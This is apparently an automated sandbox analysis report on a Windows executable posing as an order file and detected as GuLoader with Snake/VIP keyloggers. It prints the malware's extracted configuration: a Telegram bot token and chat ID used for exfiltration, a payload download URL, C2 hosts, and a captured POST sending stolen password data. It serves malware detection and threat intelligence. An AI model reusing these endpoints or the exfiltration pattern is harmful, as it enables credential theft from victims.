Edit tour

Windows Analysis Report
ORDER 20240986 OA.exe

Overview

General Information

Sample name:	ORDER 20240986 OA.exe
Analysis ID:	1559976
MD5:	9f036462b07002efdf646b0995217bbd
SHA1:	fbfd528f12735ecfa48f4d0fde42aef883e1c678
SHA256:	491cf03511ae77ed758d9b36f3237da0ef099370144ed61367146fee1c2bacee
Tags:	exeuser-lowmal3
Infos:

Detection

GuLoader, Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

AI detected suspicious sample

Initial sample is a PE file and has a suspicious name

Machine Learning detection for sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

ORDER 20240986 OA.exe (PID: 7316 cmdline: "C:\Users\user\Desktop\ORDER 20240986 OA.exe" MD5: 9F036462B07002EFDF646B0995217BBD)

ORDER 20240986 OA.exe (PID: 7832 cmdline: "C:\Users\user\Desktop\ORDER 20240986 OA.exe" MD5: 9F036462B07002EFDF646B0995217BBD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7396856636:AAFzZvZlhz352HQorBY7sPxLQBc4vVQnrB8/sendMessage"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7396856636:AAFzZvZlhz352HQorBY7sPxLQBc4vVQnrB8", "Chat_id": "6553726543", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2287296673.000000000083C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
00000004.00000002.2970820723.0000000037BD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.2970820723.0000000037D51000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000004.00000002.2970820723.0000000037D51000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000004.00000002.2970820723.0000000037CDA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2287809032.0000000003873000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: ORDER 20240986 OA.exe PID: 7316	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
Process Memory Space: ORDER 20240986 OA.exe PID: 7832	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ORDER 20240986 OA.exe PID: 7832	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 4 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T09:01:30.740019+0100	2803305	3	Unknown Traffic	192.168.2.4	49806	188.114.96.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T09:01:26.473582+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49794	158.101.44.242	80	TCP
2024-11-21T09:01:29.129872+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49794	158.101.44.242	80	TCP
2024-11-21T09:01:32.301732+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49812	158.101.44.242	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T09:01:22.011646+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49783	167.250.5.91	443	TCP

HTTP traffic detected: POST /bot7396856636:AAFzZvZlhz352HQorBY7sPxLQBc4vVQnrB8/sendDocument?chat_id=6553726543&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0b4a7224cc3aHost: api.telegram.orgContent-Length: 580

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Thu, 21 Nov 2024 08:01:55 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037BD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037BD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D51000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037BD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037BD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: ORDER 20240986 OA.exe, 00000000.00000000.1676481705.000000000040A000.00000008.00000001.01000000.00000003.sdmp, ORDER 20240986 OA.exe, 00000000.00000002.2286852319.000000000040A000.00000004.00000001.01000000.00000003.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2945259440.000000000040A000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037BD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037BD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037CB5000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D51000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037CB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037CB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:897506%0D%0ADate%20a
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D51000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D65000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7396856636:AAFzZvZlhz352HQorBY7sPxLQBc4vVQnrB8/sendDocument?chat_id=6553
Source: ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D92000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enH
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enWeb
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlBdq
Source: ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037C8D000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037CB5000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037C1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.75
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037C8D000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037CB5000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037C48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.75$
Source: ORDER 20240986 OA.exe, 00000004.00000002.2950903894.0000000007718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sierrassinfinusadas.com.ar/yak/ZnWGURK2.bin
Source: ORDER 20240986 OA.exe, 00000004.00000002.2950903894.0000000007718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sierrassinfinusadas.com.ar/yak/ZnWGURK2.bin3
Source: ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038CF6000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038CA8000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038F4F000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037CDA000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038D1D000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038CF9000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E28000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E53000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038CAF000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038F2A000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038CF6000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038CA8000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038F4F000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037CDA000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038D1D000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038CF9000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E28000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E53000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038CAF000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038F2A000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038C84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037DC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037DB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/H
Source: ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037DBE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lBdq

Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800

Source: unknown	HTTPS traffic detected: 167.250.5.91:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49876 version: TLS 1.2

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

Code function: 0_2_0040543E GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,LdrInitializeThunk,SendMessageW,CreatePopupMenu,LdrInitializeThunk,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040543E

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: ORDER 20240986 OA.exe

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

Code function: 0_2_0040336C EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_0040336C

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 0_2_00404C7B	0_2_00404C7B
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 0_2_6FBB1B63	0_2_6FBB1B63
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_00404C7B	4_2_00404C7B
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0015C146	4_2_0015C146
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0015D278	4_2_0015D278
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_00155362	4_2_00155362
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0015C472	4_2_0015C472
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0015C738	4_2_0015C738
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0015E988	4_2_0015E988
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_001569A0	4_2_001569A0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_001529E0	4_2_001529E0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0015CA08	4_2_0015CA08
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0015CCD8	4_2_0015CCD8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_00159DE0	4_2_00159DE0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0015CFAA	4_2_0015CFAA
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_00156FC8	4_2_00156FC8
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0015E97A	4_2_0015E97A
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0015F961	4_2_0015F961
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_00153E09	4_2_00153E09
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07566678	4_2_07566678
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_075687F0	4_2_075687F0
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0756C150	4_2_0756C150
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07560950	4_2_07560950
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07567E50	4_2_07567E50
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07563B58	4_2_07563B58
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0756EC58	4_2_0756EC58
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0756A958	4_2_0756A958
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0756C142	4_2_0756C142
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07560040	4_2_07560040
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07566B40	4_2_07566B40
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07563B4A	4_2_07563B4A
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07565B48	4_2_07565B48
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07569648	4_2_07569648
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0756EC49	4_2_0756EC49
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07566675	4_2_07566675
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0756D470	4_2_0756D470
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07561270	4_2_07561270
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07569171	4_2_07569171
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0756E77F	4_2_0756E77F
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07564478	4_2_07564478
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07562478	4_2_07562478
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0756BC78	4_2_0756BC78
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07560960	4_2_07560960
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07567E60	4_2_07567E60
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0756D460	4_2_0756D460
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0756A968	4_2_0756A968
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07564468	4_2_07564468
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07560012	4_2_07560012
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07561710	4_2_07561710
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07569B10	4_2_07569B10
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0756F111	4_2_0756F111
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0756AE1F	4_2_0756AE1F
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07562918	4_2_07562918
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0756C618	4_2_0756C618
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07568318	4_2_07568318
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07565219	4_2_07565219
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07562907	4_2_07562907
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0756DE00	4_2_0756DE00
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07564908	4_2_07564908
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07567008	4_2_07567008
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_0756C608	4_2_0756C608
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07566609	4_2_07566609
Source: C:\Users\user\Desktop\ORDER 20240986 OA.exe	Code function: 4_2_07569637	4_2_07569637
